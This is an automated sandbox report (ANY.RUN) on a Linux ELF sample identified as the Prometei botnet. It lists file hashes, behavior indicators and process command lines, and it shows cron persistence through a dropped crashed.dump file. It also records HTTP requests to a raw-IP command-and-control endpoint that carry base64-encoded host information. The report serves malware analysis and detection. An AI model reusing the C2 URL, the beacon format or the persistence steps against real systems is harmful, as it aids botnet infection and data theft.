File name:

na

Full analysis: https://app.any.run/tasks/e31d6464-6624-4884-b3ac-ff1aacde0786
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

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Analysis date: May 16, 2025, 04:32:47
OS: Ubuntu 22.04.2
Tags:
prometei
botnet
Indicators:
MIME: application/x-executable
File info: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
MD5:

0D7271F50A7796935AB345B87C9B706D

SHA1:

6B9FA88C4017D4F094D9A821568B8A5ACEF5F80F

SHA256:

8AE3086A829031EE4CC6551F656AE383F1115F9EF505FE433FE7A5C847C5710F

SSDEEP:

12288:z3WCA0/3AkBpERwU0hC7/ezjYEi0lIw+cL6mrOgyAJ1OpIAkRjN8cvifoVjf4S+:z3E0/3AkBqwU0cLezjYEi0x3LfrOgyAS

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • PROMETEI has been detected

      • crashed.dump (PID: 40689)

  • SUSPICIOUS

    • Modifies file or directory owner

      • sudo (PID: 40656)

    • Reads passwd file

      • crontab (PID: 40668)
      • na.elf (PID: 40660)
      • crontab (PID: 40678)
      • crontab (PID: 40685)

    • Reads profile file

      • na.elf (PID: 40660)

    • Executes commands using command-line interpreter

      • sudo (PID: 40659)

    • Modifies Cron jobs

      • dash (PID: 40677)

    • Checks how long the system has been running

      • dash (PID: 40699)
      • dash (PID: 40711)

    • Connects to the server without a host name

      • crashed.dump (PID: 40689)

    • Checks all system information (uname)

      • dash (PID: 40703)
      • dash (PID: 40715)

    • Check the Environment Variables Related to System Identification (os-release)

      • crashed.dump (PID: 40689)

  • INFO

    • Checks timezone

      • crontab (PID: 40668)
      • crontab (PID: 40678)
      • uptime (PID: 40700)
      • crontab (PID: 40685)
      • uptime (PID: 40712)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.o | ELF Executable and Linkable format (generic) (49.8)

EXIF

EXE

CPUArchitecture: 64 bit
CPUByteOrder: Little endian
ObjectFileType: Executable file
CPUType: AMD x86-64
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
252
Monitored processes
32
Malicious processes
1
Suspicious processes
3

Behavior graph

Click at the process to see the details
start drop and start dash no specs sudo no specs chown no specs chmod no specs sudo no specs na.elf no specs locale-check no specs dash no specs chmod no specs dash no specs crontab no specs tracker-extract-3 no specs dash no specs crontab no specs dash no specs crontab no specs na.elf (deleted) no specs dash no specs #PROMETEI crashed.dump dash no specs hostnamectl no specs systemd-hostnamed no specs dash no specs dash no specs uptime no specs uname no specs dash no specs hostnamectl no specs dash no specs dash no specs uptime no specs uname no specs

Process information

PID
CMD
Path
Indicators
Parent process
40655/bin/sh -c "sudo chown user /tmp/na\.elf && chmod +x /tmp/na\.elf && DISPLAY=:0 sudo -iu user /tmp/na\.elf "/usr/bin/dash—any-guest-agent
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40656sudo chown user /tmp/na.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40657chown user /tmp/na.elf/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40658chmod +x /tmp/na.elf/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40659sudo -iu user /tmp/na.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40660/tmp/na.elf/tmp/na.elf—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40661/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40662sh -c "chmod +x /home/user/crashed\.dump"/usr/bin/dash—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40663chmod +x /home/user/crashed.dump/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40667sh -c "crontab -l"/usr/bin/dash—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
256
Executable files
0
Suspicious files
1
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
40660na.elf/home/user/crashed.dumpbinary
MD5:—
SHA256:—
40660na.elf/home/user/task.crontext
MD5:—
SHA256:—
40678crontab/var/spool/cron/crontabs/tmp.5TUm8utext
MD5:—
SHA256:—
40689crashed.dump/home/user/CommIdtext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
6
DNS requests
8
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
91.189.91.49:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
40689
crashed.dump
GET
200
152.36.128.18:80
http://152.36.128.18/cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0JnVzZXJtb2RlDQp1YnVudHUyMg0KDQo0eCBJbnRlbChSKSBDb3JlKFRNKSBpNS02NDAwIENQVSBAIDIuNzBHSHoNCjQwMDA0MzIga0INClFFTVUNClN0YW5kYXJkIFBDIF9pNDQwRlggKyBQSUlYLCAxOTk2Xw0KDQoNClVidW50dSAyMi4wNC4yIExUUyAmIDIyLjA0LjIgTFRTIChKYW1teSBKZWxseWZpc2gpICAmIGJvb2t3b3JtL3NpZCAmIA0KDQovaG9tZS91c2VyLw0KIDA1OjMyOjU3IHVwICAzOjU2LCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAwLjcyLCAwLjY0LCAwLjU4fDE3NDczNjk5NzcNCkxpbnV4IHVidW50dTIyIDYuNS4wLTEwMjUtb2VtICMyNi1VYnVudHUgU01QIFBSRUVNUFRfRFlOQU1JQyBUdWUgSnVuIDE4IDEyOjM1OjIyIFVUQyAyMDI0IHg4Nl82NCB4ODZfNjQgeDg2XzY0IEdOVS9MaW51eA0KfQ0K&i=93F0041RRB3T4HO9&h=ubuntu22&enckey=kOJUycvtMRk94vtuch5mFTDDzCg5jgw+P1qqaGgpAXjmeuCP22/j1D9MD/QCz51/MB0S41WQSDRBQPOrnXIVIcKwpI8t+MO64HRkzM2V19O6I9/uBTu+KohcHeT/ts6arqrRtO8Uo6yP4vRzSYqnBNnLEeN8rLLXCuhLlKuNBgw=
unknown
—
—
unknown
40689
crashed.dump
GET
200
152.36.128.18:80
http://152.36.128.18/cgi-bin/p.cgi?r=52&i=93F0041RRB3T4HO9
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
91.189.91.49:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
40689
crashed.dump
152.36.128.18:80
—
COASTCONNECT-01
US
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 91.189.91.49
  • 185.125.190.48
  • 185.125.190.18
  • 185.125.190.17
  • 185.125.190.49
  • 185.125.190.96
  • 91.189.91.98
  • 91.189.91.48
  • 185.125.190.97
  • 91.189.91.96
  • 185.125.190.98
  • 2620:2d:4000:1::23
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::2a
  • 2001:67c:1562::23
  • 2620:2d:4000:1::96
  • 2001:67c:1562::24
  • 2620:2d:4000:1::98
  • 2620:2d:4000:1::2b
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::97
whitelisted
google.com
  • 142.250.181.238
  • 2a00:1450:4001:82a::200e
whitelisted
7.100.168.192.in-addr.arpa
  • —
unknown

Threats

No threats detected
No debug info